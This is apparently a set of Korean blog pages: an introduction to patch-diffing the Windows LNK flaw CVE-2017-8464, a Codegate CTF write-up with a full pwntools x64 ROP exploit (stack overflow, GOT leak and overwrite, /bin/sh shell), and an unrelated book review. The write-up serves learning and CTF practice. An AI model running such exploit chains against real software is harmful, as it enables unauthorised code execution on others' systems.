제로데이 취약점을 찾는 것은 말할 필요도 없이 중요하고 멋진 일이다.

하지만 때때로 제로데이 취약점을 찾는 것만큼 필요하고 의미 있는 일이 패치가 발표된 원데이 취약점의 POC를 구현하는 일이다.

이번 글에서는 이런 원데이 취약점 중 공개된 정보가 적을 때 패치 된 취약점이 무엇이었는지 찾고  POC를 구현하는 방법에 대해 적어보려고한다. 


따라서 이 글은 CVE-2017-8464 LNK취약점을 다루기는 하지만 취약점에 대한 내용보다는 정보가 없는 원데이 취약점을 어떻게 구현해 나가는 지에 중점을 두고있다.


1. 공개된 취약점 정보 확인하기

링크 : https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464


위 그림은 마이크로소프트 사의 MSRC페이지에서 확인한 CVE-2017-8464정보이다.  CVE-2017-8464 취약점은 윈도우즈의 링크파일(.LNK)를 이용해 RCE가 가능한 취약점이라고 설명되어있다. 공격자가 피해자에게 악의적으로 조작된 링크파일 바이너리를 전달하면 피해자가 해당 파일이 있는 폴더를 열기만해도 공격코드가 실행되는 취약점이다.

(현재 기점으로 2년이나 된 취약점이기 때문에 MSRC외에도 exploit-db라던가, github에 공개된 POC들이 많지만 글의 목적에 따라 다른 정보가 없다고 가정한다.)


취약점 설명 아래에는 해당 취약점을 패치하기위한 파일들을 볼 수 있다.


패치파일에는 해당 취약점을 보완하기위한 파일도 있지만 기타 다른 취약점 패치라던가, 기능패치라던가 많은 것들이 같이 포함되어있기 때문에 어떤 파일을 패치 했는지 찾는 것이 중요하다.


취약점 관련 파일을 찾는 범위를 좁히기위해 Security Update 패치파일을 다운받는다. 분석환경 OS에 맞는 파일을 찾으면되고, 참고로 64bit보다는 32bit환경을 택하는 것이 더 수월하다. 



여기서는 Windows 7 for 32-bit Systems Service Pack 1 의 Security Only 링크를 클릭했고, 목록 중 두번째 파일을 다운받았다.

다운받은 파일은 .msu확장자를 갖는 패치 파일인데, 압축해제가 가능하다. 압축해제를 하면 .cab파일을 얻을 수 있다.




cab파일 역시 많은 패치파일을 포함하고있는 일종의 압축파일인데, 이 파일은 윈도우 명령어 expand로 압축해제할 수 있다.
ex) expand [cab file] -f:[추출 파일명] [경로]

- expand Windows6.1-KB4022722-x86.cab -f:* .



cab를 풀고나면 보다시피 엄청나게 많은 파일이 있다. 이 중에 취약점과 관련된 파일을 선별해내야한다ㅠㅠ

선별하기전에 해야하는 선행할 작업이 하나 더 있는데, 해당 패치 적용 직전의 버전으로 윈도우즈의 버전을 올려야한다. 이 과정을 통해 패치 비교의 범위를 줄인다.


취약점이 패치 된 파일을 찾기 위해 현재 explorer.exe에 로드된 dll(LNK파일은 explorer.exe에서 핸들링 되므로)과 패치 파일목록에 있는 dll을 매치시키는 파이썬 스크립트를 작성했고 실행한 결과 범위를 많이 줄일 수 있었다. 아래는 스크립트 중 일부이다.



위 그림은 스크립트 실행 결과중 일부인데, LNK파일을 핸들링하는 dll인 shell32.dll이 있었다. 그리고 2010년, 2015년도에 발생한 링크파일 취약점도 shell32.dll에서 발생했었기 때문에 2017취약점도 shell32.dll에서 발생했을 것이라 예상해 볼 수있다.


'Study > Windows' 카테고리의 다른 글

CVE-2017-8464 One Day분석 - 1  (0) 2019.03.24
Windows Hooking(Frida)  (5) 2018.01.30

1. 시작하기전에...


한동안 바빠서 블로그 업데이트를 통..하지못했었는데, 새해도 되었으니 다시 시작해보려고합니다.

원래는 how2heap을 계속 올려야하는데, 지난 코드게이트 문제들을 리뷰해볼 기회가 생겨서 작년 문제 중 하나를 선정하였습니다.



2. 정적 분석


file 명령어 실행 결과 바이너리가 x64, dynamaically linked임을 알 수 있습니다.



checksec를 통해 Mitigation을 확인해보니 카나리도 없고, pie도 안걸려있습니다. Patial RELRO라 GOT도 덮어쓸 수 있습니다.


바이너리를 실행하면 술자리 게임 베스킨라빈스 31이 시작됩니다. 각 턴마다 1~3의 숫자를 입력받고, 남은 숫자가 표시됩니다. 



IDA로 디컴파일해보겠습니다.


main()


- 실행화면에서 봤던 문구들("### ~~ ###")들을 출력하고 남은 숫자(remain_val)가 0보다 클때 반복문을 실행합니다.

- 반복문 안에서 your_turn()함수가 제대로 끝났는 지 검사하는 is_your_turn_done의 값으로 분기를 실행합니다.

- my_turn()은 프로그램이 턴을 수행하는 기능이 구현되어있습니다.

- your_turn()은 유저의 입력으로 턴을 수행하는 기능이 구현되어있습니다.

- 유저가 이겼을 경우를 의미하는 것같은 분기문에서 힌트가 ROP라고 알려주고있습니다.



your_turn()


- 남은 수를 의미하는 remain_val의 포인터를 함수의 인자로 입력받습니다.

- 유저로부터 입력받은 숫자를 저장하는 변수가 150byte로 되어있습니다.

- 하지만 입력은 400byte까지 받을 수 있습니다. -> 스택 버퍼오버플로우가 발생하게됩니다.



helper()

디컴파일 후 함수목록을 잘 보면 helper()함수가 있습니다. hex ray로는 볼수 없고, 어셈코드만 볼 수 있습니다.

어셈코드를 보면 스택프레임 코드를 제외하면 pop rdi, pop rsi, pop rdx 코드 밖에 없습니다.


pop rdi, pop rsi, pop rdx, retn 가젯은 x64 rop에서 pppr로 사용하는 꼭 필요한 가젯입니다.

x64 함수 호출 규약은 x86 함수 호출 규약과 다르기때문에 rop 코드도 다른 부분이 있습니다.


x64 함수 호출 규약에 관한 자세한 내용은 아래 링크를 참조하세요.

링크 : https://kkamagui.tistory.com/811


2. 동적 분석

바이너리 실행 중 your_turn() 함수에서 "a" * 8을 입력한 다음 스택을 보겠습니다.


입력 값을 저장하는 버퍼의 주소는 0x7ffffffdb90부터 시작하고, 리턴 주소가 저장 된 주소는 0x7ffffffdc48에 저장되어있습니다.


따라서 버퍼 주소 - 리턴 주소가 저장된 주소는 0xb8(184)이고, 카나리가 존재하지 않기때문에 0xb8개의 dummy이 후 rop코드를 시작하면 됩니다.

 

3. exploit

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98


from pwn import *

p = process('./baskinrobin31')

e = ELF('./baskinrobin31')

libc = ELF("./libc.so.6")

context.log_level = 'debug'

def launch_gdb(p):

   context.terminal = ['gnome-terminal', '-x', 'sh', '-c']

   gdb.attach(proc.pidof(p)[0])

#find plt & got address

log.info("found address of read plt : %s" % hex(e.plt["read"]))

read_plt = e.plt["read"]

log.info("found address of write plt : %s" % hex(e.plt["write"]))

write_plt = e.plt["write"]

log.info("found address of puts plt : %s" % hex(e.plt["puts"]))

puts_plt = e.plt["puts"]

log.info("found address of puts got : %s" % hex(e.got["puts"]))

puts_got = e.got["puts"]

#real address of read func - real address of system func

puts_system_offset = libc.symbols['puts'] - libc.symbols['system']

'''

21 .dynamic      000001d0 0000000000601e28  0000000000601e28 00001e28 2**3

24 .data         00000010 0000000000602078  0000000000602078 00002078 2**3

25 .bss          00000020 0000000000602090  0000000000602090 00002088 2**4

'''

#binsh addr

binsh_addr = 0x602090 + 0x10

binsh = "/bin/sh"

log.info("puts to system offset : %s" % hex(puts_system_offset))

#0x0040087a: pop rdi ; pop rsi ; pop rdx ; ret  ; (1 found)

pppr = 0x0040087a

call_your_turn = 0x400AE5

p.recvuntil("How many numbers do you want to take ? (1-3)\n")

#leak puts got

payload  = "a"*184

payload += p64(pppr)

payload += p64(1)

payload += p64(puts_got)

payload += p64(len(str(puts_got)))

payload += p64(write_plt)

#call your turn again

payload += p64(call_your_turn)  

#

payload2 = "a"*184

payload2 += p64(pppr)

payload2 += p64(0)

payload2 += p64(puts_got)

payload2 += p64(0x8)

payload2 += p64(read_plt)

payload2 += p64(pppr)

payload2 += p64(0)

payload2 += p64(binsh_addr)

payload2 += p64(len(str(binsh)))

payload2 += p64(read_plt)

payload2 += p64(pppr)

payload2 += p64(binsh_addr)

payload2 += p64(1)

payload2 += p64(1)

payload2 += p64(puts_plt)

p.sendline(payload)

d = p.recvuntil("Don't break the rules...:(")

p.recv(2)

puts = p.recv(7) + "\x00"

puts = u64(puts)

p.sendline(payload2)

log.info("puts = 0x%x" % puts)

system_addr = puts - puts_system_offset

log.info("system = 0x%x" % system_addr)

p.recvuntil("How many numbers do you want to take ? (1-3)\n")

p.send(p64(system_addr))

p.sendline(binsh)

p.interactive()

Colored by Color Scripter

cs


exploit 코드의 내용 개요는 다음과 같습니다.


사전과정

1. 호출하고 싶은 함수들의 plt 찾기(read, write, puts)

2. got를 덮을 함수의 got 찾기(puts)

3. 필요한 가젯과 오프셋 찾기(pppr, binsh_addr, puts_system_offset, call_your_turn)


ROP payload

1. read()함수를 호출하여 puts got에 있는 값을 알아내기

2. your_turn()를 호출해서 puts의 got에 system함수 got주소 쓰기

3. "/bin/sh"문자열 쓰기

4. puts호출해서 system함수 실행시키기


x64 ROP

앞서 말씀드린바와 같이 x64의 함수 호출 규약은 x86과 달라서 rop코드의 구성이 조금 다릅니다.

x64 리눅스에서 함수에 파라미터를 전달할 때, RDI, RSI, RDX, RCX, R8, R9의 순으로 전달하며 이 이상은 x86과 동일하게

스택을 이용해서 전달합니다.


따라서 x64에서 파라미터에 값을 전달하기 위해 pppr을 먼저 호출해서 함수 호출 전 파라미터를 세팅해야합니다.


코드 설명

13 ~ 24라인은 pwntools의 기능을 이용해 바이너리에서 사용하는 libc 함수들의 plt와 got를 구합니다.


27라인에서는 pwntools를 이용해 libc에 있는 puts와 system의 symbol offset을 계산합니다. 여기서 계산한 offset을 이용해

나중에 puts의 got에 써져있는 주소로 system의 주소를 계산할 수 있습니다.


50 ~ 56라인은 puts의 got에 써있는 주소를 릭하기 위한 payload입니다. 

59라인에서 다시 your_turn()함수를 호출하여 입력을 받을 수 있도록합니다.


62 ~ 67라인에서는 계산한 system의 주소를 puts의 got에 덮어쓰도록 합니다.


69 ~ 73라인에서는 bss영역 중 선정한 공간에 "/bin/sh"문자열을 저장합니다.


75 ~ 79라인에서 system함수를 호출하여 exploit을 완성합니다.


83 ~ 86라인은 50 ~ 56라인에서 릭한 puts의 got에 써있는 주소를 저장합니다.

90 ~ 92라인은 앞서 계산한 offset을 이용해 system함수의 실제 주소를 계산합니다.


95라인은  62 ~ 67라인에서 puts의 got에 덮어쓸 system의 주소를 전송합니다.

96라인은 69 ~ 73라인에서 "/bin/sh"문자열을 저장할 수 있도록 문자열을 전송합니다.


4. exploit 결과


한동안 바쁘단 핑계로 미루다보니 책 후기가 너무 세 권이나 밀려버렸네요. 더 미루다가는 아예 안올리게 될 것 같아서 오랜만에 후기를 남겨봅니다. 

이번에 포스팅 할 책은 한동일 작가님의 책 라틴어 수업 입니다.




1. 계기

처음에 회사 팀장님께 추천을 받고 이런 책이 있구나 하고 관심을 갖고 있었습니다. 얼마 지나지 않아 팀장님께서 정말 좋은 책이라고 하시며 선물을 해주셔서 본격적으로 읽게 되었습니다.(감사합니다!) 나중에보니 최근 베스트 셀러 순위권에 위치하고 있더라고요.

  


2. 내용

책은 몇 년전 서강대에서 한동일 작가님이 강의하셨던 수업인 라틴어 수업에서 다룬 내용으로 이루어져있습니다.

'라틴어 수업' 이라는 제목답게 매 장의 제목이 라틴어로 되어있으며, 장의 앞 부분에서는 제목이 이루고있는 구조에 대한 설명과 각 단어들의 해석으로 시작됩니다.


이 책의 내용에 기본이 된 강의가 유명하고, 책이 베스트셀러에 오른 이유는 라틴어에 대한 해설 때문이 아니라 라틴어 문장에 얽힌 다양한 이야기들이 있기 때문이라고 생각합니다.

라틴어 문장으로 시작하여 고대 로마인들의 관습, 음식, 생각, 놀이, 작가님의 유학시절 이야기와 같은 재미있는 소재로 옮겨 간 다음 관련 된 생각해 볼 주제 혹은 교훈으로 끝을 맺습니다. 그 중 인상 깊었던 주제 한 가지를 소개 해보려고 합니다.


- 나는 공부하는 노동자입니다.

이 포스팅의 부제로 선정한만큼 가장 인상깊었던 챕터 한가지를 뽑아보라고 한다면 이 챕터를 뽑고 싶습니다.

이 부분을 읽으면서 마치 저격을 당하고 있는 느낌이 들었거든요.


시작부분에서 공부라는 것이 고통스럽고 괴로운 과정이라는 것을 인정하고 시작합니다.

공부를 하면서 완벽하고 더 열심히 해야한다는 강박감, 실패 후 좌절하고 자책하는 일이 일어나고 지치게 된다는 말에 많은 공감을 했습니다.     


저 또한 올해가 시작되면서부터 조급한 마음이들고 더 열심히 해야한다는 생각을 하게되면서 슬슬 '지친다' 라는 생각이 들기 시작했고, 때마침 이 부분을 읽게 된 것이죠. 

사실 지금도 완전히 나아진 상태는 아니지만, 이 책을 읽고나서 마음가짐을 다잡아보려고 노력하고 있습니다.


앞 부분에서 공부를 노동에 비유했다면 뒷 부분에서는 장기 레이스에 비유합니다. 장기 레이스를 끝까지 마치려면 페이스 조절이 필요하죠.

공부도 역시 항상 열심히 해야한다는 생각으로 휴식조차 죄를 지은 것처럼 대한다면 오래 할 수 없다는 것입니다.


결론부에서는 공부를 비롯한 어떤 일에 있어서 무비판적으로 안일한 태도를 갖는 것을 경계하는 대신 스스로를 응원하고 템포를 조절해나갈 것, 

자신의 리듬을 알고 좋은 습관을 만들 것을 당부합니다.  


3. 마무리

포스팅에서는 가장 인상깊었던 챕터 한 가지만 뽑았지만, 어머님에게 보냈던 편지가 쓰여있는 '오늘은 나에게, 내일은 너에게' 와 

오늘, 지금 여기에서 행복을 빌어주는 '오늘 하루를 즐겨라(카르페 디엠)' 과 같은 좋지만 소개하지 못한 여러 이야기들이 있으니 꼭 읽어보시길 바랍니다.


라틴어 수업은 시기적절한 때 읽게 되어 저에게 크고 작은 변화를 준 책입니다.

'일상 > BooK' 카테고리의 다른 글

라틴어 수업 - 나는 공부하는 노동자입니다.  (0) 2018.03.22
죄와 벌  (0) 2018.02.26
우리는 언젠가 만난다.  (0) 2018.01.15
시민의 교양  (1) 2018.01.11

+ Recent posts